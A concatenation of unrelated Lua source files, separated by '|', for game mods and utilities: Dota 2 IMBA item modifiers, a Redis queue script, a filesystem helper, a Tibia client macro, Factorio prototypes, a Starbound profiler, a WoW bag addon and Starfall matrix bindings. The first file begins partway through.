-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_triumvirate_stacks_debuff == nil then modifier_item_imba_triumvirate_stacks_debuff = class({}) end
function modifier_item_imba_triumvirate_stacks_debuff:IsHidden() return false end
function modifier_item_imba_triumvirate_stacks_debuff:IsDebuff() return true end
function modifier_item_imba_triumvirate_stacks_debuff:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_triumvirate_stacks_debuff:GetEffectName()
return "particles/item/swords/sange_kaya_debuff.vpcf"
end
function modifier_item_imba_triumvirate_stacks_debuff:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
-- Modifier property storage
function modifier_item_imba_triumvirate_stacks_debuff:OnCreated()
if IsServer() then
if not self:GetAbility() then self:Destroy() end
end
self.ability = self:GetAbility()
if not self.ability then
self:Destroy()
return nil
end
self.maim_stack = self.ability:GetSpecialValueFor("maim_stack")
self.amp_stack = self.ability:GetSpecialValueFor("amp_stack")
-- Inherit stacks from lower-tier modifiers
if IsServer() then
local owner = self:GetParent()
local lower_tier_modifiers = {
"modifier_item_imba_sange_active",
"modifier_item_imba_sange_yasha_active",
"modifier_item_imba_yasha_and_kaya_active",
"modifier_item_imba_sange_kaya_active"
}
local stack_count = self:GetStackCount()
for _, modifier in pairs(lower_tier_modifiers) do
local modifier_to_remove = owner:FindModifierByName(modifier)
if modifier_to_remove then
stack_count = math.max(stack_count, modifier_to_remove:GetStackCount())
modifier_to_remove:Destroy()
end
end
self:SetStackCount(stack_count)
end
end
-- Declare modifier events/properties
function modifier_item_imba_triumvirate_stacks_debuff:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_ATTACKSPEED_BONUS_CONSTANT,
MODIFIER_PROPERTY_MOVESPEED_BONUS_PERCENTAGE,
MODIFIER_PROPERTY_MAGICAL_RESISTANCE_BONUS
}
return funcs
end
function modifier_item_imba_triumvirate_stacks_debuff:GetModifierMagicalResistanceBonus()
if not self.amp_stack then return nil end
return self.amp_stack * self:GetStackCount() end
function modifier_item_imba_triumvirate_stacks_debuff:GetModifierAttackSpeedBonus_Constant()
if not self.maim_stack then return nil end
return self.maim_stack * self:GetStackCount() end
function modifier_item_imba_triumvirate_stacks_debuff:GetModifierMoveSpeedBonus_Percentage()
if not self.maim_stack then return nil end
return self.maim_stack * self:GetStackCount() end
-----------------------------------------------------------------------------------------------------------
-- Triumvirate silence/disarm debuff
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_triumvirate_proc_debuff == nil then modifier_item_imba_triumvirate_proc_debuff = class({}) end
function modifier_item_imba_triumvirate_proc_debuff:IsHidden() return true end
function modifier_item_imba_triumvirate_proc_debuff:IsDebuff() return true end
function modifier_item_imba_triumvirate_proc_debuff:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_triumvirate_proc_debuff:GetEffectName()
return "particles/item/swords/sange_kaya_proc.vpcf"
end
function modifier_item_imba_triumvirate_proc_debuff:GetEffectAttachType()
return PATTACH_OVERHEAD_FOLLOW
end
-- Declare modifier states
function modifier_item_imba_triumvirate_proc_debuff:CheckState()
local states = {
[MODIFIER_STATE_DISARMED] = true,
[MODIFIER_STATE_SILENCED] = true,
}
return states
end
-----------------------------------------------------------------------------------------------------------
-- Triumvirate attack speed buff (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_triumvirate_stacks_buff == nil then modifier_item_imba_triumvirate_stacks_buff = class({}) end
function modifier_item_imba_triumvirate_stacks_buff:IsHidden() return false end
function modifier_item_imba_triumvirate_stacks_buff:IsDebuff() return false end
function modifier_item_imba_triumvirate_stacks_buff:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_triumvirate_stacks_buff:GetEffectName()
return "particles/item/swords/yasha_buff.vpcf"
end
function modifier_item_imba_triumvirate_stacks_buff:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
-- Modifier property storage
function modifier_item_imba_triumvirate_stacks_buff:OnCreated()
if IsServer() then
if not self:GetAbility() then self:Destroy() end
end
self.as_stack = self:GetAbility():GetSpecialValueFor("as_stack")
-- Inherit stacks from lower-tier modifiers
if IsServer() then
local owner = self:GetParent()
local lower_tier_modifiers = {
"modifier_item_imba_yasha_active",
"modifier_item_imba_kaya_yasha_stacks",
"modifier_item_imba_sange_yasha_stacks"
}
local stack_count = self:GetStackCount()
for _, modifier in pairs(lower_tier_modifiers) do
local modifier_to_remove = owner:FindModifierByName(modifier)
if modifier_to_remove then
stack_count = math.max(stack_count, modifier_to_remove:GetStackCount())
modifier_to_remove:Destroy()
end
end
self:SetStackCount(stack_count)
end
end
-- Declare modifier events/properties
function modifier_item_imba_triumvirate_stacks_buff:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_ATTACKSPEED_BONUS_CONSTANT,
}
return funcs
end
function modifier_item_imba_triumvirate_stacks_buff:GetModifierAttackSpeedBonus_Constant()
return self.as_stack * self:GetStackCount() end
-----------------------------------------------------------------------------------------------------------
-- Triumvirate move speed proc
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_triumvirate_proc_buff == nil then modifier_item_imba_triumvirate_proc_buff = class({}) end
function modifier_item_imba_triumvirate_proc_buff:IsHidden() return true end
function modifier_item_imba_triumvirate_proc_buff:IsDebuff() return false end
function modifier_item_imba_triumvirate_proc_buff:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_triumvirate_proc_buff:GetEffectName()
return "particles/item/swords/yasha_proc.vpcf"
end
function modifier_item_imba_triumvirate_proc_buff:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
-- Modifier property storage
function modifier_item_imba_triumvirate_proc_buff:OnCreated()
if IsServer() then
if not self:GetAbility() then self:Destroy() end
end
self.proc_ms = self:GetAbility():GetSpecialValueFor("proc_ms")
-- Remove lower-tier modifiers
if IsServer() then
local owner = self:GetParent()
local lower_tier_modifiers = {
"modifier_item_imba_yasha_proc",
"modifier_item_imba_sange_yasha_proc",
"modifier_item_imba_kaya_yasha_proc"
}
for _, modifier in pairs(lower_tier_modifiers) do
owner:RemoveModifierByName(modifier)
end
end
end
-- Declare modifier events/properties
function modifier_item_imba_triumvirate_proc_buff:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_MOVESPEED_BONUS_PERCENTAGE,
}
return funcs
end
function modifier_item_imba_triumvirate_proc_buff:GetModifierMoveSpeedBonus_Percentage()
return self.proc_ms end
-----------------------------------------------------------------------------------------------------------
-- Auxiliary attack functions
-----------------------------------------------------------------------------------------------------------
function SangeAttack(attacker, target, ability, modifier_stacks, modifier_proc)
-- If this is an illusion, do nothing
if attacker:IsIllusion() then
return end
-- If the target is not valid, do nothing either
if target:IsMagicImmune() or (not target:IsHeroOrCreep()) then -- or attacker:GetTeam() == target:GetTeam() then
return end
-- Stack the maim up
local modifier_maim = target:AddNewModifier(attacker, ability, modifier_stacks, {duration = ability:GetSpecialValueFor("stack_duration") * (1 - target:GetStatusResistance())})
if modifier_maim and modifier_maim:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_maim:SetStackCount(modifier_maim:GetStackCount() + 1)
target:EmitSound("Imba.SangeStack")
end
-- If the ability is not on cooldown, roll for a proc
if ability:IsCooldownReady() and RollPercentage(ability:GetSpecialValueFor("proc_chance")) then
-- Proc! Apply the disarm modifier and put the ability on cooldown
target:AddNewModifier(attacker, ability, modifier_proc, {duration = ability:GetSpecialValueFor("proc_duration_enemy") * (1 - target:GetStatusResistance())})
target:EmitSound("Imba.SangeProc")
ability:UseResources(false, false, true)
end
end
function YashaAttack(attacker, ability, modifier_stacks, modifier_proc)
-- Stack the attack speed buff up
local modifier_as = attacker:AddNewModifier(attacker, ability, modifier_stacks, {duration = ability:GetSpecialValueFor("stack_duration")})
if modifier_as and modifier_as:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_as:SetStackCount(modifier_as:GetStackCount() + 1)
attacker:EmitSound("Imba.YashaStack")
end
-- If this is an illusion, do nothing else
if attacker:IsIllusion() then
return end
-- If the ability is not on cooldown, roll for a proc
if ability:IsCooldownReady() and RollPercentage(ability:GetSpecialValueFor("proc_chance")) then
-- Proc! Apply the move speed modifier and put the ability on cooldown
attacker:AddNewModifier(attacker, ability, modifier_proc, {duration = ability:GetSpecialValueFor("proc_duration_self")})
attacker:EmitSound("Imba.YashaProc")
ability:UseResources(false, false, true)
end
end
function kayaAttack(attacker, target, ability, modifier_stacks, modifier_proc)
-- If this is an illusion, do nothing
if attacker:IsIllusion() then
return end
-- If the target is not valid, do nothing either
if target:IsMagicImmune() or (not target:IsHeroOrCreep()) then -- or attacker:GetTeam() == target:GetTeam() then
return end
-- Stack the magic amp up
local modifier_amp = target:AddNewModifier(attacker, ability, modifier_stacks, {duration = ability:GetSpecialValueFor("stack_duration")})
if modifier_amp and modifier_amp:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_amp:SetStackCount(modifier_amp:GetStackCount() + 1)
target:EmitSound("Imba.kayaStack")
end
-- If the ability is not on cooldown, roll for a proc
if ability:IsCooldownReady() and RollPercentage(ability:GetSpecialValueFor("proc_chance")) then
-- Proc! Apply the silence modifier and put the ability on cooldown
target:AddNewModifier(attacker, ability, modifier_proc, {duration = ability:GetSpecialValueFor("proc_duration_enemy") * (1 - target:GetStatusResistance())})
target:EmitSound("Imba.kayaProc")
ability:UseResources(false, false, true)
end
end
function SangeYashaAttack(attacker, target, ability, modifier_enemy_stacks, modifier_self_stacks, modifier_enemy_proc, modifier_self_proc)
-- Stack the attack speed buff up
local modifier_as = attacker:AddNewModifier(attacker, ability, modifier_self_stacks, {duration = ability:GetSpecialValueFor("stack_duration")})
if modifier_as and modifier_as:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_as:SetStackCount(modifier_as:GetStackCount() + 1)
attacker:EmitSound("Imba.YashaStack")
end
-- If this is an illusion, do nothing else
if attacker:IsIllusion() then
return end
-- If the target is not valid, do nothing else
if target:IsMagicImmune() or (not target:IsHeroOrCreep()) then -- or attacker:GetTeam() == target:GetTeam() then
return end
-- If the ability is not on cooldown, roll for a proc
if ability:IsCooldownReady() and RollPercentage(ability:GetSpecialValueFor("proc_chance")) then
-- Proc! Apply the move speed modifier
attacker:AddNewModifier(attacker, ability, modifier_self_proc, {duration = ability:GetSpecialValueFor("proc_duration_self")})
attacker:EmitSound("Imba.YashaProc")
-- Apply the disarm modifier and put the ability on cooldown
target:AddNewModifier(attacker, ability, modifier_enemy_proc, {duration = ability:GetSpecialValueFor("proc_duration_enemy") * (1 - target:GetStatusResistance())})
target:EmitSound("Imba.SangeProc")
ability:UseResources(false, false, true)
end
-- Stack the maim up
local modifier_maim = target:AddNewModifier(attacker, ability, modifier_enemy_stacks, {duration = ability:GetSpecialValueFor("stack_duration") * (1 - target:GetStatusResistance())})
if modifier_maim and modifier_maim:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_maim:SetStackCount(modifier_maim:GetStackCount() + 1)
target:EmitSound("Imba.SangeStack")
end
end
function SangekayaAttack(attacker, target, ability, modifier_stacks, modifier_proc)
-- If this is an illusion, do nothing
if attacker:IsIllusion() then
return end
-- If the target is not valid, do nothing either
if target:IsMagicImmune() or (not target:IsHeroOrCreep()) then -- or attacker:GetTeam() == target:GetTeam() then
return end
-- Stack the maim/amp up
local modifier_debuff = target:AddNewModifier(attacker, ability, modifier_stacks, {duration = ability:GetSpecialValueFor("stack_duration") * (1 - target:GetStatusResistance())})
if modifier_debuff and modifier_debuff:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_debuff:SetStackCount(modifier_debuff:GetStackCount() + 1)
target:EmitSound("Imba.SangeStack")
target:EmitSound("Imba.kayaStack")
end
-- If the ability is not on cooldown, roll for a proc
if ability:IsCooldownReady() and RollPercentage(ability:GetSpecialValueFor("proc_chance")) then
-- Proc! Apply the disarm/silence modifier
target:AddNewModifier(attacker, ability, modifier_proc, {duration = ability:GetSpecialValueFor("proc_duration_enemy") * (1 - target:GetStatusResistance())})
target:EmitSound("Imba.SangeProc")
target:EmitSound("Imba.kayaProc")
ability:UseResources(false, false, true)
end
end
function kayaYashaAttack(attacker, target, ability, modifier_enemy_stacks, modifier_self_stacks, modifier_enemy_proc, modifier_self_proc)
-- Stack the attack speed buff up
local modifier_as = attacker:AddNewModifier(attacker, ability, modifier_self_stacks, {duration = ability:GetSpecialValueFor("stack_duration")})
if modifier_as and modifier_as:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_as:SetStackCount(modifier_as:GetStackCount() + 1)
attacker:EmitSound("Imba.YashaStack")
end
-- If this is an illusion, do nothing else
if attacker:IsIllusion() then
return end
-- If the target is not valid, do nothing else
if target:IsMagicImmune() or (not target:IsHeroOrCreep()) then -- or attacker:GetTeam() == target:GetTeam() then
return end
-- If the ability is not on cooldown, roll for a proc
if ability:IsCooldownReady() and RollPercentage(ability:GetSpecialValueFor("proc_chance")) then
-- Proc! Apply the move speed modifier
attacker:AddNewModifier(attacker, ability, modifier_self_proc, {duration = ability:GetSpecialValueFor("proc_duration_self")})
attacker:EmitSound("Imba.YashaProc")
-- Apply the silence modifier and put the ability on cooldown
target:AddNewModifier(attacker, ability, modifier_enemy_proc, {duration = ability:GetSpecialValueFor("proc_duration_enemy") * (1 - target:GetStatusResistance())})
target:EmitSound("Imba.kayaProc")
ability:UseResources(false, false, true)
end
-- Stack the magic amp up
local modifier_amp = target:AddNewModifier(attacker, ability, modifier_enemy_stacks, {duration = ability:GetSpecialValueFor("stack_duration") * (1 - target:GetStatusResistance())})
if modifier_amp and modifier_amp:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_amp:SetStackCount(modifier_amp:GetStackCount() + 1)
target:EmitSound("Imba.kayaStack")
end
end
function TriumAttack(attacker, target, ability, modifier_enemy_stacks, modifier_self_stacks, modifier_enemy_proc, modifier_self_proc)
-- Stack the attack speed buff up
local modifier_as = attacker:AddNewModifier(attacker, ability, modifier_self_stacks, {duration = ability:GetSpecialValueFor("stack_duration")})
if modifier_as and modifier_as:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_as:SetStackCount(modifier_as:GetStackCount() + 1)
attacker:EmitSound("Imba.YashaStack")
end
-- If this is an illusion, do nothing
if attacker:IsIllusion() then
return end
-- If the target is not valid, do nothing else
if target:IsMagicImmune() or (not target:IsHeroOrCreep()) then -- or attacker:GetTeam() == target:GetTeam() then
return end
-- If the ability is not on cooldown, roll for a proc
if ability:IsCooldownReady() and RollPercentage(ability:GetSpecialValueFor("proc_chance")) then
-- Proc! Apply the move speed modifier
attacker:AddNewModifier(attacker, ability, modifier_self_proc, {duration = ability:GetSpecialValueFor("proc_duration_self")})
attacker:EmitSound("Imba.YashaProc")
-- Apply the silence/disarm modifier and put the ability on cooldown
target:AddNewModifier(attacker, ability, modifier_enemy_proc, {duration = ability:GetSpecialValueFor("proc_duration_enemy") * (1 - target:GetStatusResistance())})
target:EmitSound("Imba.SangeProc")
target:EmitSound("Imba.kayaProc")
ability:UseResources(false, false, true)
end
-- Stack the maim/amp up
local modifier_maim = target:AddNewModifier(attacker, ability, modifier_enemy_stacks, {duration = ability:GetSpecialValueFor("stack_duration") * (1 - target:GetStatusResistance())})
if modifier_maim and modifier_maim:GetStackCount() < ability:GetSpecialValueFor("max_stacks") then
modifier_maim:SetStackCount(modifier_maim:GetStackCount() + 1)
target:EmitSound("Imba.SangeStack")
target:EmitSound("Imba.kayaStack")
end
end
|
local CurrentTime
local TimeTimer
AddEvent("OnPackageStart", function()
CurrentTime = 10 -- server start time
TimeTimer = CreateTimer(function()
CurrentTime = CurrentTime + 0.20
if CurrentTime > 24 then
CurrentTime = 0
end
SyncTime()
end, 60 * 1000)
end)
AddEvent("OnPackageStop", function()
DestroyTimer(TimeTimer)
end)
function SyncTime()
-- log.debug("Time is now "..CurrentTime)
BroadcastRemoteEvent("ClientSetTime", CurrentTime)
end
AddEvent("OnPlayerJoin", SyncTime)
|
local key = KEYS[ 1 ] --key base
local ts = KEYS[ 2 ] --timestamp
local id = redis.call('lpop', key)
if id then
redis.call('zadd', key .. ":active", ts, id)
local res = redis.call('hgetall', key .. ":" .. id)
table.insert(res, 1, id)
return res
else
return nil
end
|
local lfs = lfs or require("lfs")
local util = util or require("util.util")
local root = lfs.currentdir()
local fs = {}
fs.sep = string.match(lfs.currentdir(),"([/\\])")
fs.os = fs.sep ~= "/" and "windows" or "unix"
local exclude = function (s)
if s == "." or s == ".." then return true
elseif string.match(s,"^%.git") or string.match(s,"^%.svn") then return true
end
end
local handle = function (path, mode)
return assert(io.open(path,mode))
end
-- Build a clean path out of passed args.
-- Also makes a good attempt at returning an absolute path by using some LFS hax.
fs.path = function (...)
local t = {...}
local path = string.gsub(table.concat(t,fs.sep), "[/\\]+", fs.sep)
path = string.gsub(path,"%[root%]",root)
local attr = lfs.attributes(path)
if attr then
if attr.mode == "directory" then
_,path = fs.pushd(path)
fs.popd()
else
local up,file = fs.up(path)
if up then
_,up = fs.pushd(up)
fs.popd()
path = up .. fs.sep .. file
end
end
end
return path, attr
end
-- Return a string or newline-delimited array of file contents
fs.read = function (path,lines)
local file,err = handle(path,"r")
if err then return nil,err; end
if file and lines then
local t = {}
--local s = file:read("*a")
for line in file:lines() do
table.insert(t,line)
end
file:close()
return t
elseif file then
local s = file:read("*a")
file:close()
return s
end
end
-- Write a string or newline-delimited array to file
fs.write = function (s, path)
if _TEST then
print("TEST: util.filesystem.write", path)
return
end
if type(s) == "table" then s = table.concat(s,"\n")
elseif type(s) ~= "string" then
return error("util.filesystem: attempt to write non-string/table to file.")
end
local file = handle(path,'w+')
if file then
file:write(s)
file:flush()
file:close()
end
return s
end
fs.load = function (path)
local file = fs.read(path)
if file then
return loadstring(file)()
end
end
-- Return the next directory up from path
fs.up = function (path) return string.match(path, "(.+)[/\\](.+)$") end
-- Since lfs.mkdir is a little clunky for progressive paths, it's better for us to use system commands here.
fs.mkdir = function (...)
local path = fs.path(...)
util.exec("mkdir -p", path)
return path
end
fs.affirm = fs.mkdir
-- Change to directory and return its absolute path if it exists (or current path if it doesn't)
fs.cd = function (...)
local success = lfs.chdir(fs.path(...))
return success, lfs.currentdir()
end
-- Unlike pushd/popd in unix, these do not keep a stack.
local ld = {}
fs.pushd = function (path)
ld[0] = ld[0] or lfs.currentdir()
local cd = lfs.currentdir()
local success = lfs.chdir(path)
if success then
ld[#ld + 1] = cd
end
return success, lfs.currentdir()
end
fs.popd = function ()
ld[0] = ld[0] or lfs.currentdir()
local cd = table.remove(ld) or ld[0]
local success = lfs.chdir(cd)
return success, lfs.currentdir()
end
local mt = {
__index = function (self,k)
return table[k] or chainsaw[k]
end
}
fs.ls = function (path,recurse,list)
local paths = table.affirm(path)
if #paths == 0 then paths[1] = lfs.currentdir() end
local list = list or {}
for i,v in ipairs(paths) do
local attr = lfs.attributes(v)
local apath
if v and v.mode == "directory" then -- passed an existing directory, get its absolute path
_,apath = fs.pushd(v)
fs.popd()
elseif v then -- passed an existing file, get its parent directory
apath = fs.up(v)
end
if apath then
for file in lfs.dir(v) do
if not exclude(file) then
local fp,attr = fs.path(v,file)
if type(recurse) == "boolean" and not recurse then
if attr.mode ~= "directory" then
list[#list + 1] = fp
end
elseif recurse and attr.mode == "directory" then
list = fs.ls(fp,recurse,list)
else
list[#list + 1] = fp
end
end
end
end
end
setmetatable(list, mt) -- util adds directly to table, so we can get away with this.
return list
end
-- Where ls produces an array, tree gives a paired table.
-- tostring(tree[k]) will ALWAYS produce an absolute path.
fs.tree = function (path)
local path, attr = fs.path(path)
if attr and attr.mode ~= "directory" then path = fs.up(path) end
if not path and attr then return end
local list = {}
for file in lfs.dir(path) do
if not exclude(file) then
local fp, fa = fs.path(path, file)
if fa.mode == "directory" then
list[file] = fs.tree(fp)
else
list[file] = fp
end
end
end
return setmetatable(list,{fp = path, __tostring = function (self) return getmetatable(self).fp end})
end
return fs |
setDefaultTab("Tools")
local toggle = macro(1000, "mwall step", "F12",function() end)
onPlayerPositionChange(function(newPos, oldPos)
if oldPos.z ~= posz() then return end
if oldPos then
local tile = g_map.getTile(oldPos)
if toggle.isOn() and tile:isWalkable() then
useWith(3180, tile:getTopUseThing())
toggle.setOff()
end
end
end)
local toggle2 = macro(1000, "mwall on target", "F11",function() end)
onCreaturePositionChange(function(creature, newPos, oldPos)
if creature == target() or creature == g_game.getFollowingCreature() then
if oldPos and oldPos.z == posz() then
local tile2 = g_map.getTile(oldPos)
if toggle2.isOn() and tile2:isWalkable() then
useWith(3180, tile2:getTopUseThing())
toggle2.setOff()
end
end
end
end) |
data:extend(
{
{
type = "item",
name = "burner-lab",
icon = "__base__/graphics/icons/lab.png",
flags = {"goes-to-quickbar"},
subgroup = "burner-production-machine",
order = "g[lab]",
place_result = "burner-lab",
stack_size = 10
},
{
type = "recipe",
name = "burner-lab",
energy_required = 5,
ingredients =
{
{"clockwork-parts", 8},
{"iron-gear-wheel", 5},
{"copper-gear-wheel", 5},
{"transport-belt", 4}
},
result = "burner-lab",
enabled = true
},
{
type = "lab",
name = "burner-lab",
icon = "__base__/graphics/icons/lab.png",
flags = {"placeable-player", "player-creation"},
minable = {mining_time = 1, result = "burner-lab"},
max_health = 150,
corpse = "big-remnants",
dying_explosion = "medium-explosion",
collision_box = {{-1.2, -1.2}, {1.2, 1.2}},
selection_box = {{-1.5, -1.5}, {1.5, 1.5}},
light = {intensity = 0.75, size = 8},
on_animation =
{
filename = "__base__/graphics/entity/lab/lab.png",
width = 113,
height = 91,
frame_count = 33,
line_length = 11,
animation_speed = 1 / 3,
shift = {0.2, 0.15}
},
off_animation =
{
filename = "__base__/graphics/entity/lab/lab.png",
width = 113,
height = 91,
frame_count = 1,
shift = {0.2, 0.15}
},
working_sound =
{
sound =
{
filename = "__base__/sound/lab.ogg",
volume = 0.7
},
apparent_volume = 1
},
energy_source =
{
type = "burner",
effectivity = 1,
fuel_inventory_size = 1,
smoke =
{
{
name = "smoke",
deviation = {0.1, 0.1},
frequency = 0.3
}
}
},
energy_usage = "60kW",
researching_speed = 1,
inputs =
{
"science-pack-1",
"science-pack-2",
"science-pack-3",
"alien-science-pack"
},
module_specification =
{
module_slots = 2,
max_entity_info_module_icons_per_row = 3,
max_entity_info_module_icon_rows = 1,
module_info_icon_shift = {0, 0.9}
}
},
}
)
|
--------------------------------
-- @module EventListenerKeyboard
-- @extend EventListener
--------------------------------
-- @function [parent=#EventListenerKeyboard] clone
-- @param self
-- @return EventListenerKeyboard#EventListenerKeyboard ret (return value: cc.EventListenerKeyboard)
--------------------------------
-- @function [parent=#EventListenerKeyboard] checkAvailable
-- @param self
-- @return bool#bool ret (return value: bool)
return nil
|
profilerApi = {}
--- Initializes the Profiler and hooks all functions
function profilerApi.init()
if profilerApi.isInit then return end
profilerApi.hooks = {}
profilerApi.start = profilerApi.getTime()
profilerApi.hookAll("", _ENV)
profilerApi.isInit = true
end
--- Prints all collected data into the log ordered by total time descending
function profilerApi.logData()
local time = profilerApi.getTime() - profilerApi.start
local arr = {}
local len = 8
local cnt = 5
for k,v in pairs(profilerApi.hooks) do
if v.t > 0 then
table.insert(arr, k)
local l = string.len(k)
if l > len then len = l end
l = profilerApi.get10pow(profilerApi.hooks[k].c)
if l > cnt then cnt = l end
end
end
table.sort(arr, profilerApi.sortHelp)
world.logInfo("Profiler log for EntityID " .. entity.id() .. " (total profiling time: " .. string.format("%.2f", time) .. ")")
world.logInfo(string.format("%" .. len .. "s | total time | %" .. cnt .. "s | average time | last time", "function", "count"))
for i,k in ipairs(arr) do
local hook = profilerApi.hooks[k]
world.logInfo(string.format("%" .. len .. "s | %.15f | %" .. cnt .. "i | %.15f | %.15f", k, hook.t, hook.c, hook.a, hook.e))
end
end
function profilerApi.get10pow(n)
local ret = 1
while n >= 10 do
ret = ret + 1
n = n / 10
end
return ret
end
function profilerApi.sortHelp(e1, e2)
return profilerApi.hooks[e1].a > profilerApi.hooks[e2].a -- sorted by average
-- return profilerApi.hooks[e1].t > profilerApi.hooks[e2].t -- sorted by total
end
function profilerApi.canHook(fn)
local un = { "pairs", "ipairs", "type", "next", "assert", "error", "print", "setmetatable", "select", "rawset", "rawlen", "pcall" }
for i,v in ipairs(un) do
if v == fn then return false end
end
return true
end
function profilerApi.dontHook(tn)
local un = {"profilerApi.","table.","coroutine.","os.","math.","string.","world.","entity.","script.","mcontroller.","util.","vec2."}
for i,v in ipairs(un) do
if v == tn then return true end
end
return false
end
function profilerApi.hookAll(tn, to)
if profilerApi.dontHook(tn) then return end
for k,v in pairs(to) do
if type(v) == "function" then
if (tn ~= "") or profilerApi.canHook(k) then
profilerApi.hook(to, tn, v, k)
end
elseif type(v) == "table" then
profilerApi.hookAll(tn .. k .. ".", v)
end
end
end
function profilerApi.getTime()
return os.clock()
end
function profilerApi.hook(to, tn, fo, fn)
local full = tn .. fn
profilerApi.hooks[full] = { s = -1, f = fo, e = -1, t = 0, a = 0, c = 0 }
to[fn] = function(...) return profilerApi.hooked(full, ...) end
end
function profilerApi.hooked(n, ...)
local hook = profilerApi.hooks[n]
hook.s = profilerApi.getTime()
local ret = hook.f(...)
hook.e = profilerApi.getTime() - hook.s
hook.t = hook.t + hook.e
hook.c = hook.c + 1
hook.a = hook.t / hook.c
return ret
end |
--[[
LICENSE
cargBags: An inventory framework addon for World of Warcraft
Copyright (C) 2010 Constantin "Cargor" Schomburg <xconstruct@gmail.com>
cargBags is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
cargBags is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with cargBags; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
DESCRIPTION
Provides translation-tables for the auction house categories
USAGE:
local L = cargBags:GetLocalizedNames()
OR local L = Implementation:GetLocalizedNames()
L[englishName] returns localized name
]]
----------------------------------------------------------
-- Load RayUI Environment
----------------------------------------------------------
RayUI:LoadEnv("Bags")
local cargBags = _cargBags
local L
--[[!
Fetches/creates a table of localized type names
@return locale <table>
]]
function cargBags:GetLocalizedTypes()
if(L) then return L end
L = {}
-- Credit: Torhal http://www.wowinterface.com/forums/showpost.php?p=317527&postcount=6
local classIndex = 0
local className = _G.GetItemClassInfo(classIndex)
while className and className ~= "" do
L[classIndex] = {
name = className,
subClasses = {},
}
local subClassIndex = 0
local subClassName = _G.GetItemSubClassInfo(classIndex, subClassIndex)
while subClassName and subClassName ~= "" do
L[classIndex].subClasses[subClassIndex] = subClassName
subClassIndex = subClassIndex + 1
subClassName = _G.GetItemSubClassInfo(classIndex, subClassIndex)
end
classIndex = classIndex + 1
className = _G.GetItemClassInfo(classIndex)
end
return L
end
cargBags.classes.Implementation.GetLocalizedNames = cargBags.GetLocalizedNames
|
-- Credits to Radon & Xandaros
SF.VMatrix = {}
--- VMatrix type
local vmatrix_methods, vmatrix_metamethods = SF.RegisterType("VMatrix")
local wrap, unwrap = SF.CreateWrapper(vmatrix_metamethods, true, false, debug.getregistry().VMatrix)
local vec_meta, vwrap, vunwrap, ang_meta, awrap, aunwrap
local dgetmeta = debug.getmetatable
local checktype = SF.CheckType
local checkluatype = SF.CheckLuaType
local checkpermission = SF.Permissions.check
SF.AddHook("postload", function()
vec_meta = SF.Vectors.Metatable
vwrap = SF.Vectors.Wrap
vunwrap = SF.Vectors.Unwrap
ang_meta = SF.Angles.Metatable
awrap = SF.Angles.Wrap
aunwrap = SF.Angles.Unwrap
--- Returns a new VMatrix
-- @return New VMatrix
SF.DefaultEnvironment.Matrix = function (t)
return wrap(Matrix(t))
end
end)
SF.VMatrix.Methods = vmatrix_methods
SF.VMatrix.Metatable = vmatrix_metamethods
SF.VMatrix.Wrap = wrap
SF.VMatrix.Unwrap = unwrap
--- tostring metamethod
-- @return string representing the matrix.
function vmatrix_metamethods:__tostring()
return unwrap(self):__tostring()
end
--- Returns angles
-- @return Angles
function vmatrix_methods:getAngles()
return awrap(unwrap(self):GetAngles())
end
--- Returns scale
-- @return Scale
function vmatrix_methods:getScale()
return vwrap(unwrap(self):GetScale())
end
--- Returns translation
-- @return Translation
function vmatrix_methods:getTranslation()
return vwrap(unwrap(self):GetTranslation())
end
--- Returns a specific field in the matrix
-- @param row A number from 1 to 4
-- @param column A number from 1 to 4
-- @return Value of the specified field
function vmatrix_methods:getField(row, column)
return unwrap(self):GetField(row, column)
end
--- Rotate the matrix
-- @param ang Angle to rotate by
function vmatrix_methods:rotate(ang)
checktype(ang, ang_meta)
unwrap(self):Rotate(aunwrap(ang))
end
--- Returns an inverted matrix. Inverting the matrix will fail if its determinant is 0 or close to 0
-- @return Inverted matrix
function vmatrix_methods:getInverse()
return wrap(unwrap(self):GetInverse())
end
--- Returns an inverted matrix. Efficiently for translations and rotations
-- @return Inverted matrix
function vmatrix_methods:getInverseTR()
return wrap(unwrap(self):GetInverseTR())
end
--- Returns forward vector of matrix. First matrix column
-- @return Translation
function vmatrix_methods:getForward()
return vwrap(unwrap(self):GetForward())
end
--- Returns right vector of matrix. Negated second matrix column
-- @return Translation
function vmatrix_methods:getRight()
return vwrap(unwrap(self):GetRight())
end
--- Returns up vector of matrix. Third matrix column
-- @return Translation
function vmatrix_methods:getUp()
return vwrap(unwrap(self):GetUp())
end
--- Sets the scale
-- @param vec New scale
function vmatrix_methods:setScale(vec)
checktype(vec, vec_meta)
unwrap(self):SetScale(vunwrap(vec))
end
--- Scale the matrix
-- @param vec Vector to scale by
function vmatrix_methods:scale(vec)
checktype(vec, vec_meta)
